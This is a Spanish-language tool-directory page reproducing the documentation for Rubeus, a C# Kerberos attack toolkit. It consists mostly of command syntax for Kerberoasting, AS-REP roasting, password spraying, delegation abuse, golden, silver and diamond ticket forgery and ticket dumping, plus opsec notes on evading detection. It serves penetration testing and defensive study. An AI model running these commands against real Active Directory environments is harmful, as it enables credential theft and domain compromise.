Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Rubeus — Intentando domar al perro de tres cabezas. | Kitploit
Herramientas/GitHubGitHub/ghostpack/rubeus
Escalada de PrivilegiosMecanismos de PersistenciaAnálisis de VulnerabilidadesExplotaciónMovimiento LateralPost-ExplotaciónPruebas de PenetraciónAutenticaciónRed TeamingTop en Movimiento Lateral #3
5.1k89859hace 9 mesesRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Top en Mecanismos de Persistencia #17
Top en Post-Explotación #5
Top en Red Teaming #11
GitHubghostpack/rubeus

Rubeus

Intentando domar al perro de tres cabezas.

Ver Repositorio

Rubeus


Rubeus es un conjunto de herramientas en C# para la interacción directa con Kerberos y sus abusos. Está fuertemente adaptado del proyecto Kekeo de Benjamin Delpy (licencia CC BY-NC-SA 4.0) y del proyecto MakeMeEnterpriseAdmin de Vincent LE TOUX (licencia GPL v3.0). Todo el crédito es para Benjamin y Vincent por resolver los componentes difíciles de la weaponización; sin su trabajo previo este proyecto no existiría.

Charlie Clark y Ceri Coburn han realizado contribuciones significativas como co-desarrolladores del código base de Rubeus. Elad Shamir contribuyó con trabajo esencial para la delegación restringida basada en recursos. ¡Su trabajo es muy apreciado!

Rubeus también utiliza una biblioteca de análisis/codificación ASN.1 en C# de Thomas Pornin llamada DDer que fue publicada con una licencia "tipo MIT". ¡Muchas gracias a Thomas por su código limpio y estable!

El código PKINIT está fuertemente adaptado de la herramienta Bruce de @SteveSyfuhs. Bruce hizo que RFC4556 (PKINIT) fuera mucho más fácil de entender. ¡Muchas gracias a Steve!

La codificación y decodificación NDR para el PAC de Kerberos se basa en la biblioteca NtApiDotNet de @tiraniddo, gracias James.

El método KerberosRequestorSecurityToken.GetRequest para Kerberoasting fue contribuido a PowerView (y luego incorporado a Rubeus) por @machosec.

@harmj0y es el autor principal de esta base de código.

Rubeus está licenciado bajo la licencia BSD 3-Clause.

Índice de contenidos

  • Rubeus
    • Índice de contenidos
    • Antecedentes
      • Uso desde la línea de comandos
      • Notas de Opsec
        • Resumen
        • Weaponización
        • Ejemplo: Extracción de credenciales
        • Ejemplo: Over-pass-the-hash
    • Solicitudes y renovaciones de tickets
      • asktgt
      • asktgs
      • renew
      • brute|spray
    • Abuso de delegación restringida
      • s4u
    • Falsificación de tickets
      • golden
      • silver
      • diamond
    • Gestión de tickets
      • ptt
      • purge
      • describe
    • Extracción y recolección de tickets
      • triage
      • klist
      • dump
      • tgtdeleg
      • monitor
      • harvest
    • Roasting
      • kerberoast
        • Opsec de Kerberoasting
        • Ejemplos
      • asreproast
    • Miscelánea
      • createnetonly
      • changepw
      • hash
      • tgssub
      • currentluid
      • logonsession
      • asrep2kirbi

Antecedentes

Uso desde la línea de comandos

root@kitploit:~
   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.3.3


 Solicitudes y renovaciones de tickets:

    Obtener un TGT basado en una contraseña/hash de usuario, opcionalmente guardándolo en un archivo o aplicándolo a la sesión de inicio de sesión actual o a un LUID específico:
        Rubeus.exe asktgt /user:USER </password:PASSWORD [/enctype:DES|RC4|AES128|AES256] | /des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/opsec] [/nopac] [/proxyurl:https://KDC_PROXY/kdcproxy] [/suppenctype:DES|RC4|AES128|AES256]

    Obtener un TGT basado en una contraseña/hash de usuario, opcionalmente guardándolo en un archivo o aplicándolo a la sesión de inicio de sesión actual o a un LUID específico:
        Rubeus.exe asktgt /user:USER </password:PASSWORD [/enctype:DES|RC4|AES128|AES256] | /des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/opsec] [/nopac] [/proxyurl:https://KDC_PROXY/kdcproxy] [/suppenctype:DES|RC4|AES128|AES256]

    Obtener un TGT basado en una contraseña/hash de usuario, iniciar un proceso /netonly y aplicar el ticket al nuevo proceso/sesión de inicio de sesión:
        Rubeus.exe asktgt /user:USER </password:PASSWORD [/enctype:DES|RC4|AES128|AES256] | /des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> /createnetonly:C:\Windows\System32\cmd.exe [/show] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/nowrap] [/opsec] [/nopac] [/proxyurl:https://KDC_PROXY/kdcproxy] [/suppenctype:DES|RC4|AES128|AES256]

    Obtener un TGT usando un certificado PCKS12, iniciar un proceso /netonly y aplicar el ticket al nuevo proceso/sesión de inicio de sesión:
        Rubeus.exe asktgt /user:USER /certificate:C:\temp\leaked.pfx </password:STOREPASSWORD> /createnetonly:C:\Windows\System32\cmd.exe [/getcredentials] [/servicekey:KRBTGTKEY] [/show] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/nowrap] [/proxyurl:https://KDC_PROXY/kdcproxy] [/suppenctype:DES|RC4|AES128|AES256]

    Obtener un TGT usando un certificado del almacén del usuario (Smartcard) especificando la huella digital o el asunto del certificado, iniciar un proceso /netonly y aplicar el ticket al nuevo proceso/sesión de inicio de sesión:
        Rubeus.exe asktgt /user:USER /certificate:f063e6f4798af085946be6cd9d82ba3999c7ebac /createnetonly:C:\Windows\System32\cmd.exe [/show] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/suppenctype:DES|RC4|AES128|AES256] [/nowrap]

    Obtener un TGT adecuado para cambiar una cuenta con contraseña caducada usando el comando changepw
        Rubeus.exe asktgt /user:USER </password:PASSWORD /changepw [/enctype:DES|RC4|AES128|AES256] | /des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/opsec] [/proxyurl:https://KDC_PROXY/kdcproxy]

    Solicitar un TGT sin enviar datos de pre-autenticación:
        Rubeus.exe asktgt /user:USER [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/nopac] [/proxyurl:https://KDC_PROXY/kdcproxy] [/suppenctype:DES|RC4|AES128|AES256]

    Solicitar un ticket de servicio usando un AS-REQ:
        Rubeus.exe asktgt /user:USER /service:SPN </password:PASSWORD [/enctype:DES|RC4|AES128|AES256] | /des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/opsec] [/nopac] [/oldsam] [/proxyurl:https://KDC_PROXY/kdcproxy] [/suppenctype:DES|RC4|AES128|AES256]

   Obtener un ticket de servicio para uno o más SPN, opcionalmente guardándolo o aplicándolo:
        Rubeus.exe asktgs </ticket:BASE64 | /ticket:FILE.KIRBI> </service:SPN1,SPN2,...> [/enctype:DES|RC4|AES128|AES256] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/nowrap] [/enterprise] [/opsec] </tgs:BASE64 | /tgs:FILE.KIRBI> [/targetdomain] [/u2u] [/targetuser] [/servicekey:PASSWORDHASH] [/asrepkey:ASREPKEY] [/proxyurl:https://KDC_PROXY/kdcproxy]

Obtener un ticket de servicio usando las opciones de Solicitud de Lista de Claves de Kerberos:
    	Rubeus.exe asktgs /keyList /service:KRBTGT_SPN </ticket:BASE64 | /ticket:FILE.KIRBI> [/enctype:DES|RC4|AES128|AES256] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/nowrap] [/enterprise] [/opsec] </tgs:BASE64 | /tgs:FILE.KIRBI> [/targetdomain] [/u2u] [/targetuser] [/servicekey:PASSWORDHASH] [/asrepkey:ASREPKEY] [/proxyurl:https://KDC_PROXY/kdcproxy]

Obtener un ticket de cuenta de servicio administrada delegada:
    	Rubeus.exe asktgs /dmsa /opsec /service:KRBTGT_SPN /targetuser:DMSA_ACCOUNT$ </ticket:BASE64 | /ticket:FILE.KIRBI> [/dc:DOMAIN_CONTROLLER_Win2025] [/outfile:FILENAME] [/ptt] [/nowrap] [/servicekey:PASSWORDHASH] [/asrepkey:ASREPKEY] [/proxyurl:https://KDC_PROXY/kdcproxy]

    Renovar un TGT, opcionalmente aplicándolo, guardándolo o renovándolo automáticamente hasta su límite de renovación:
        Rubeus.exe renew </ticket:BASE64 | /ticket:FILE.KIRBI> [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/autorenew] [/nowrap]

    Realizar un ataque de fuerza bruta de contraseñas basado en Kerberos:
        Rubeus.exe brute </password:PASSWORD | /passwords:PASSWORDS_FILE> [/user:USER | /users:USERS_FILE] [/domain:DOMAIN] [/creduser:DOMAIN\\USER & /credpassword:PASSWORD] [/ou:ORGANIZATION_UNIT] [/dc:DOMAIN_CONTROLLER] [/outfile:RESULT_PASSWORD_FILE] [/noticket] [/verbose] [/nowrap]

    Realizar un escaneo de cuentas que no requieren pre-autenticación:
        Rubeus.exe preauthscan /users:C:\temp\users.txt [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/proxyurl:https://KDC_PROXY/kdcproxy]


 Abuso de delegación restringida:

    Realizar abuso de delegación restringida S4U:
        Rubeus.exe s4u </ticket:BASE64 | /ticket:FILE.KIRBI> </impersonateuser:USER | /tgs:BASE64 | /tgs:FILE.KIRBI> /msdsspn:SERVICE/SERVER [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/nowrap] [/opsec] [/self] [/proxyurl:https://KDC_PROXY/kdcproxy] [/createnetonly:C:\Windows\System32\cmd.exe] [/show]
        Rubeus.exe s4u /user:USER </rc4:HASH | /aes256:HASH> [/domain:DOMAIN] </impersonateuser:USER | /tgs:BASE64 | /tgs:FILE.KIRBI> /msdsspn:SERVICE/SERVER [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/nowrap] [/opsec] [/self] [/bronzebit] [/nopac] [/proxyurl:https://KDC_PROXY/kdcproxy] [/createnetonly:C:\Windows\System32\cmd.exe] [/show]

    Realizar abuso de delegación restringida S4U entre dominios:
        Rubeus.exe s4u /user:USER </rc4:HASH | /aes256:HASH> [/domain:DOMAIN] </impersonateuser:USER | /tgs:BASE64 | /tgs:FILE.KIRBI> /msdsspn:SERVICE/SERVER /targetdomain:DOMAIN.LOCAL /targetdc:DC.DOMAIN.LOCAL [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/nowrap] [/self] [/nopac] [/createnetonly:C:\Windows\System32\cmd.exe] [/show]


 Falsificación de tickets:

    Forjar un golden ticket usando LDAP para recopilar la información relevante:
        Rubeus.exe golden </des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> </user:USERNAME> /ldap [/printcmd] [outfile:FILENAME] [/ptt]

    Forjar un golden ticket usando LDAP para recopilar la información relevante pero sobrescribiendo explícitamente algunos valores:
        Rubeus.exe golden </des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> </user:USERNAME> /ldap [/dc:DOMAIN_CONTROLLER] [/domain:DOMAIN] [/netbios:NETBIOS_DOMAIN] [/sid:DOMAIN_SID] [/dispalyname:PAC_FULL_NAME] [/badpwdcount:INTEGER] [/flags:TICKET_FLAGS] [/uac:UAC_FLAGS] [/groups:GROUP_IDS] [/pgid:PRIMARY_GID] [/homedir:HOMEDIR] [/homedrive:HOMEDRIVE] [/id:USER_ID] [/logofftime:LOGOFF_TIMESTAMP] [/lastlogon:LOGON_TIMESTAMP] [/logoncount:INTEGER] [/passlastset:PASSWORD_CHANGE_TIMESTAMP] [/maxpassage:RELATIVE_TO_PASSLASTSET] [/minpassage:RELATIVE_TO_PASSLASTSET] [/profilepath:PROFILE_PATH] [/scriptpath:LOGON_SCRIPT_PATH] [/sids:EXTRA_SIDS] [[/resourcegroupsid:RESOURCEGROUPS_SID] [/resourcegroups:GROUP_IDS]] [/authtime:AUTH_TIMESTAMP] [/starttime:Start_TIMESTAMP] [/endtime:RELATIVE_TO_STARTTIME] [/renewtill:RELATIVE_TO_STARTTIME] [/rangeend:RELATIVE_TO_STARTTIME] [/rangeinterval:RELATIVE_INTERVAL] [/oldpac] [/extendedupndns] [/printcmd] [outfile:FILENAME] [/ptt]

    Forjar un golden ticket, estableciendo valores explícitamente:
        Rubeus.exe golden </des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> </user:USERNAME> </domain:DOMAIN> </sid:DOMAIN_SID> [/dc:DOMAIN_CONTROLLER] [/netbios:NETBIOS_DOMAIN] [/dispalyname:PAC_FULL_NAME] [/badpwdcount:INTEGER] [/flags:TICKET_FLAGS] [/uac:UAC_FLAGS] [/groups:GROUP_IDS] [/pgid:PRIMARY_GID] [/homedir:HOMEDIR] [/homedrive:HOMEDRIVE] [/id:USER_ID] [/logofftime:LOGOFF_TIMESTAMP] [/lastlogon:LOGON_TIMESTAMP] [/logoncount:INTEGER] [/passlastset:PASSWORD_CHANGE_TIMESTAMP] [/maxpassage:RELATIVE_TO_PASSLASTSET] [/minpassage:RELATIVE_TO_PASSLASTSET] [/profilepath:PROFILE_PATH] [/scriptpath:LOGON_SCRIPT_PATH] [/sids:EXTRA_SIDS] [[/resourcegroupsid:RESOURCEGROUPS_SID] [/resourcegroups:GROUP_IDS]] [/authtime:AUTH_TIMESTAMP] [/starttime:Start_TIMESTAMP] [/endtime:RELATIVE_TO_STARTTIME] [/renewtill:RELATIVE_TO_STARTTIME] [/rangeend:RELATIVE_TO_STARTTIME] [/rangeinterval:RELATIVE_INTERVAL] [/oldpac] [/extendedupndns] [/printcmd] [outfile:FILENAME] [/ptt]

    Forjar un silver ticket usando LDAP para recopilar la información relevante:
        Rubeus.exe silver </des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> </user:USERNAME> </service:SPN> /ldap [/extendedupndns] [/nofullpacsig] [/printcmd] [outfile:FILENAME] [/ptt]

    Forjar un silver ticket usando LDAP para recopilar la información relevante, usando la clave KRBTGT para calcular KDCChecksum y TicketChecksum:
        Rubeus.exe silver </des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> </user:USERNAME> </service:SPN> /ldap </krbkey:HASH> [/krbenctype:DES|RC4|AES128|AES256] [/extendedupndns] [/nofullpacsig] [/printcmd] [outfile:FILENAME] [/ptt]

    Forjar un silver ticket usando LDAP para recopilar la información relevante pero sobrescribiendo explícitamente algunos valores:
        Rubeus.exe silver </des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> </user:USERNAME> </service:SPN> /ldap [/dc:DOMAIN_CONTROLLER] [/domain:DOMAIN] [/netbios:NETBIOS_DOMAIN] [/sid:DOMAIN_SID] [/dispalyname:PAC_FULL_NAME] [/badpwdcount:INTEGER] [/flags:TICKET_FLAGS] [/uac:UAC_FLAGS] [/groups:GROUP_IDS] [/pgid:PRIMARY_GID] [/homedir:HOMEDIR] [/homedrive:HOMEDRIVE] [/id:USER_ID] [/logofftime:LOGOFF_TIMESTAMP] [/lastlogon:LOGON_TIMESTAMP] [/logoncount:INTEGER] [/passlastset:PASSWORD_CHANGE_TIMESTAMP] [/maxpassage:RELATIVE_TO_PASSLASTSET] [/minpassage:RELATIVE_TO_PASSLASTSET] [/profilepath:PROFILE_PATH] [/scriptpath:LOGON_SCRIPT_PATH] [/sids:EXTRA_SIDS] [[/resourcegroupsid:RESOURCEGROUPS_SID] [/resourcegroups:GROUP_IDS]] [/authtime:AUTH_TIMESTAMP] [/starttime:Start_TIMESTAMP] [/endtime:RELATIVE_TO_STARTTIME] [/renewtill:RELATIVE_TO_STARTTIME] [/rangeend:RELATIVE_TO_STARTTIME] [/rangeinterval:RELATIVE_INTERVAL] [/authdata] [/extendedupndns] [/nofullpacsig] [/printcmd] [outfile:FILENAME] [/ptt]

    Forjar un silver ticket usando LDAP para recopilar la información relevante e incluyendo una sección PAC de Información de Delegación S4U:
        Rubeus.exe silver </des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> </user:USERNAME> </service:SPN> /ldap [/s4uproxytarget:TARGETSPN] [/s4utransitedservices:SPN1,SPN2,...] [/printcmd] [outfile:FILENAME] [/ptt]

    Forjar un silver ticket usando LDAP para recopilar la información relevante y estableciendo un cname y crealm diferentes:
        Rubeus.exe silver </des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> </user:USERNAME> </service:SPN> /ldap [/cname:CLIENTNAME] [/crealm:CLIENTDOMAIN] [/printcmd] [outfile:FILENAME] [/ptt]

    Forjar un silver ticket, estableciendo valores explícitamente:
        Rubeus.exe silver </des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> </user:USERNAME> </service:SPN> </domain:DOMAIN> </sid:DOMAIN_SID> [/dc:DOMAIN_CONTROLLER] [/netbios:NETBIOS_DOMAIN] [/dispalyname:PAC_FULL_NAME] [/badpwdcount:INTEGER] [/flags:TICKET_FLAGS] [/uac:UAC_FLAGS] [/groups:GROUP_IDS] [/pgid:PRIMARY_GID] [/homedir:HOMEDIR] [/homedrive:HOMEDRIVE] [/id:USER_ID] [/logofftime:LOGOFF_TIMESTAMP] [/lastlogon:LOGON_TIMESTAMP] [/logoncount:INTEGER] [/passlastset:PASSWORD_CHANGE_TIMESTAMP] [/maxpassage:RELATIVE_TO_PASSLASTSET] [/minpassage:RELATIVE_TO_PASSLASTSET] [/profilepath:PROFILE_PATH] [/scriptpath:LOGON_SCRIPT_PATH] [/sids:EXTRA_SIDS] [[/resourcegroupsid:RESOURCEGROUPS_SID] [/resourcegroups:GROUP_IDS]] [/authtime:AUTH_TIMESTAMP] [/starttime:Start_TIMESTAMP] [/endtime:RELATIVE_TO_STARTTIME] [/renewtill:RELATIVE_TO_STARTTIME] [/rangeend:RELATIVE_TO_STARTTIME] [/rangeinterval:RELATIVE_INTERVAL] [/authdata] [/cname:CLIENTNAME] [/crealm:CLIENTDOMAIN] [/s4uproxytarget:TARGETSPN] [/s4utransitedservices:SPN1,SPN2,...] [/extendedupndns] [/nofullpacsig] [/printcmd] [outfile:FILENAME] [/ptt]

	Forjar un diamond TGT solicitando un TGT basado en una contraseña/hash de usuario:
		Rubeus.exe diamond /user:USER </password:PASSWORD [/enctype:DES|RC4|AES128|AES256] | /des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> [/createnetonly:C:\Windows\System32\cmd.exe] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/krbkey:HASH] [/ticketuser:USERNAME] [/ticketuserid:USER_ID] [/groups:GROUP_IDS] [/sids:EXTRA_SIDS]

	Forjar un diamond TGT solicitando un TGT usando un certificado PCKS12:
		Rubeus.exe diamond /user:USER /certificate:C:\temp\leaked.pfx </password:STOREPASSWORD> [/createnetonly:C:\Windows\System32\cmd.exe] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/krbkey:HASH] [/ticketuser:USERNAME] [/ticketuserid:USER_ID] [/groups:GROUP_IDS] [/sids:EXTRA_SIDS]

	Forjar un diamond TGT solicitando un TGT usando tgtdeleg:
		Rubeus.exe diamond /tgtdeleg [/createnetonly:C:\Windows\System32\cmd.exe] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/krbkey:HASH] [/ticketuser:USERNAME] [/ticketuserid:USER_ID] [/groups:GROUP_IDS] [/sids:EXTRA_SIDS]


 Gestión de tickets:

    Enviar un TGT, opcionalmente apuntando a un LUID específico (si está elevado):
        Rubeus.exe ptt </ticket:BASE64 | /ticket:FILE.KIRBI> [/luid:LOGINID]

    Purgar tickets de la sesión de inicio de sesión actual, opcionalmente apuntando a un LUID específico (si está elevado):
        Rubeus.exe purge [/luid:LOGINID]

    Analizar y describir un ticket (ticket de servicio o TGT):
        Rubeus.exe describe </ticket:BASE64 | /ticket:FILE.KIRBI> [/servicekey:HASH] [/krbkey:HASH] [/asrepkey:HASH] [/serviceuser:USERNAME] [/servicedomain:DOMAIN] [/desplaintext:FIRSTBLOCKTEXT]


 Extracción y recolección de tickets:

    Triage de todos los tickets actuales (si está elevado, listar para todos los usuarios), opcionalmente apuntando a un LUID, nombre de usuario o servicio específico:
        Rubeus.exe triage [/luid:LOGINID] [/user:USER] [/service:krbtgt] [/server:BLAH.DOMAIN.COM]

    Listar todos los tickets actuales en detalle (si está elevado, listar para todos los usuarios), opcionalmente apuntando a un LUID específico:
        Rubeus.exe klist [/luid:LOGINID] [/user:USER] [/service:krbtgt] [/server:BLAH.DOMAIN.COM]

    Volcar todos los datos de tickets actuales (si está elevado, volcar para todos los usuarios), opcionalmente apuntando a un servicio/LUID específico:
        Rubeus.exe dump [/luid:LOGINID] [/user:USER] [/service:krbtgt] [/server:BLAH.DOMAIN.COM] [/nowrap]

    Obtener un TGT .kirbi utilizable para el usuario actual (con clave de sesión) sin elevación abusando de la API GSS-API de Kerberos, simulando delegación:
        Rubeus.exe tgtdeleg [/target:SPN]Monitorear cada /interval SEGUNDOS (predeterminado 60) por nuevos TGTs:
        Rubeus.exe monitor [/interval:SECONDS] [/targetuser:USER] [/nowrap] [/registry:SOFTWARENAME] [/runfor:SECONDS]

    Monitorear cada /monitorinterval SEGUNDOS (predeterminado 60) por nuevos TGTs, renovar automáticamente TGTs, y mostrar la caché de trabajo cada /displayinterval SEGUNDOS (predeterminado 1200):
        Rubeus.exe harvest [/monitorinterval:SECONDS] [/displayinterval:SECONDS] [/targetuser:USER] [/nowrap] [/registry:SOFTWARENAME] [/runfor:SECONDS]


 Roasting:

    Realizar Kerberoasting:
        Rubeus.exe kerberoast [[/spn:"blah/blah"] | [/spns:C:\temp\spns.txt]] [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:"OU=,..."] [/ldaps] [/nowrap]

    Realizar Kerberoasting, generando hashes a un archivo:
        Rubeus.exe kerberoast /outfile:hashes.txt [[/spn:"blah/blah"] | [/spns:C:\temp\spns.txt]] [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:"OU=,..."] [/ldaps]

    Realizar Kerberoasting, generando hashes en el formato de salida de archivo, pero en la consola:
        Rubeus.exe kerberoast /simple [[/spn:"blah/blah"] | [/spns:C:\temp\spns.txt]] [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:"OU=,..."] [/ldaps] [/nowrap]

    Realizar Kerberoasting con credenciales alternativas:
        Rubeus.exe kerberoast /creduser:DOMAIN.FQDN\USER /credpassword:PASSWORD [/spn:"blah/blah"] [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:"OU=,..."] [/ldaps] [/nowrap]

    Realizar Kerberoasting con un TGT existente:
        Rubeus.exe kerberoast </spn:"blah/blah" | /spns:C:\temp\spns.txt> </ticket:BASE64 | /ticket:FILE.KIRBI> [/nowrap]

    Realizar Kerberoasting con un TGT existente usando un principal empresarial:
        Rubeus.exe kerberoast </spn:[email protected] | /spns:[email protected],[email protected]> /enterprise </ticket:BASE64 | /ticket:FILE.KIRBI> [/nowrap]

    Realizar Kerberoasting con un TGT existente y reintentar automáticamente con el principal empresarial si alguno falla:
        Rubeus.exe kerberoast </ticket:BASE64 | /ticket:FILE.KIRBI> /autoenterprise [/ldaps] [/nowrap]

    Realizar Kerberoasting usando el ticket tgtdeleg para solicitar tickets de servicio - solicita RC4 para cuentas AES:
        Rubeus.exe kerberoast /usetgtdeleg [/ldaps] [/nowrap]

    Realizar Kerberoasting "opsec", usando tgtdeleg, y filtrando cuentas habilitadas para AES:
        Rubeus.exe kerberoast /rc4opsec [/ldaps] [/nowrap]

    Listar estadísticas sobre cuentas Kerberoaseables encontradas sin enviar solicitudes de tickets:
        Rubeus.exe kerberoast /stats [/ldaps] [/nowrap]

    Realizar Kerberoasting, solicitando tickets solo para cuentas con un conteo admin de 1 (filtro LDAP personalizado):
        Rubeus.exe kerberoast /ldapfilter:'admincount=1' [/ldaps] [/nowrap]

    Realizar Kerberoasting, solicitando tickets solo para cuentas cuya contraseña se estableció por última vez entre 01-31-2005 y 03-29-2010, devolviendo hasta 5 tickets de servicio:
        Rubeus.exe kerberoast /pwdsetafter:01-31-2005 /pwdsetbefore:03-29-2010 /resultlimit:5 [/ldaps] [/nowrap]

    Realizar Kerberoasting, con un retraso de 5000 milisegundos y un jitter del 30%:
        Rubeus.exe kerberoast /delay:5000 /jitter:30 [/ldaps] [/nowrap]

    Realizar AES Kerberoasting:
        Rubeus.exe kerberoast /aes [/ldaps] [/nowrap]

    Realizar Kerberoasting usando una cuenta sin pre-autenticación enviando AS-REQ:
        Rubeus.exe kerberoast </spn:""blah/blah"" | /spns:C:\temp\spns.txt> /nopreauth:USER /domain:DOMAIN [/dc:DOMAIN_CONTROLLER] [/nowrap]

    Realizar AS-REP "roasting" para cualquier usuario sin preautenticación:
        Rubeus.exe asreproast [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:"OU=,..."] [/ldaps] [/des] [/nowrap]

    Realizar AS-REP "roasting" para cualquier usuario sin preautenticación, generando formato Hashcat a un archivo:
        Rubeus.exe asreproast /outfile:hashes.txt /format:hashcat [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:"OU=,..."] [/ldaps] [/des]

    Realizar AS-REP "roasting" para cualquier usuario sin preautenticación usando credenciales alternativas:
        Rubeus.exe asreproast /creduser:DOMAIN.FQDN\USER /credpassword:PASSWORD [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:"OU,..."] [/ldaps] [/des] [/nowrap]


 Misceláneos:

    Crear un programa oculto (a menos que se pase /show) con credenciales aleatorias /netonly, mostrando el PID y LUID:
        Rubeus.exe createnetonly /program:"C:\Windows\System32\cmd.exe" [/show] [/ticket:BASE64 | /ticket:FILE.KIRBI]

    Restablecer la contraseña de un usuario desde un TGT proporcionado (AoratoPw):
        Rubeus.exe changepw </ticket:BASE64 | /ticket:FILE.KIRBI> /new:PASSWORD [/dc:DOMAIN_CONTROLLER] [/targetuser:DOMAIN\USERNAME]

    Calcular hashes rc4_hmac, aes128_cts_hmac_sha1, aes256_cts_hmac_sha1, y des_cbc_md5:
        Rubeus.exe hash /password:X [/user:USER] [/domain:DOMAIN]

    Sustituir un sname o SPN en un ticket de servicio existente:
        Rubeus.exe tgssub </ticket:BASE64 | /ticket:FILE.KIRBI> /altservice:ldap [/srealm:DOMAIN] [/ptt] [/luid] [/nowrap]
        Rubeus.exe tgssub </ticket:BASE64 | /ticket:FILE.KIRBI> /altservice:cifs/computer.domain.com [/srealm:DOMAIN] [/ptt] [/luid] [/nowrap]

    Mostrar el LUID del usuario actual:
        Rubeus.exe currentluid

    Mostrar información sobre la sesión de inicio de sesión (actual) o (destino), por defecto todas legibles:
        Rubeus.exe logonsession [/current] [/luid:X]

    El argumento "/consoleoutfile:C:\FILE.txt" redirige toda la salida de la consola al archivo especificado.

    La bandera "/nowrap" evita que cualquier blob de ticket base64 se envuelva en columnas para cualquier función.

    La bandera "/debug" genera información de depuración ASN.1.
	
    Convertir un AS-REP y una clave a un Kirbi:
        Rubeus.exe asrep2kirbi /asrep:<BASE64 | FILEPATH> </key:BASE64 | /keyhex:HEXSTRING> [/enctype:DES|RC4|AES128|AES256] [/ptt] [/luid:X] [/nowrap]

    Insertar nueva clave de sesión DES en un Kirbi:
        Rubeus.exe kirbi /kirbi:<BASE64 | FILEPATH> /sessionkey:SESSIONKEY /sessionetype:DES|RC4|AES128|AES256 [/ptt] [/luid:X] [outfile:FILENAME] [/nowrap]


 NOTA: Los blobs de tickets Base64 se pueden decodificar con :

    [IO.File]::WriteAllBytes("ticket.kirbi", [Convert]::FromBase64String("aa..."))

Notas de Opsec

Esta sección cubre algunas notas sobre la seguridad operacional del uso de Rubeus en un entorno, con algunos ejemplos técnicos que comparan/contrastan algunos de sus enfoques con Mimikatz. El material aquí se ampliará en el futuro.

Resumen

Cualquier acción que realices en un sistema es un riesgo detectable, especialmente cuando se abusa de la funcionalidad de maneras "extrañas"/no previstas. Rubeus (como cualquier conjunto de herramientas atacante) puede ser detectado mediante varios métodos, ya sea desde la perspectiva del host, la red o el dominio. Tengo un compañero de trabajo al que le gusta decir "todo es sigiloso hasta que alguien lo busca" - las herramientas y técnicas generalmente evaden la detección porque a) la gente no es lo suficientemente consciente de la herramienta/técnica y por lo tanto ni siquiera la busca, b) la gente no puede recopilar y procesar los datos necesarios a la escala adecuada, o c) la herramienta/técnica se mezcla con el comportamiento existente para infiltrarse con falsos positivos en un entorno. Hay mucha más información sobre estos pasos y la subversión de la detección en general en la charla de Matt Graeber y Lee Christensen en Black Hat USA 2018 "Subverting Sysmon" y el whitepaper asociado.

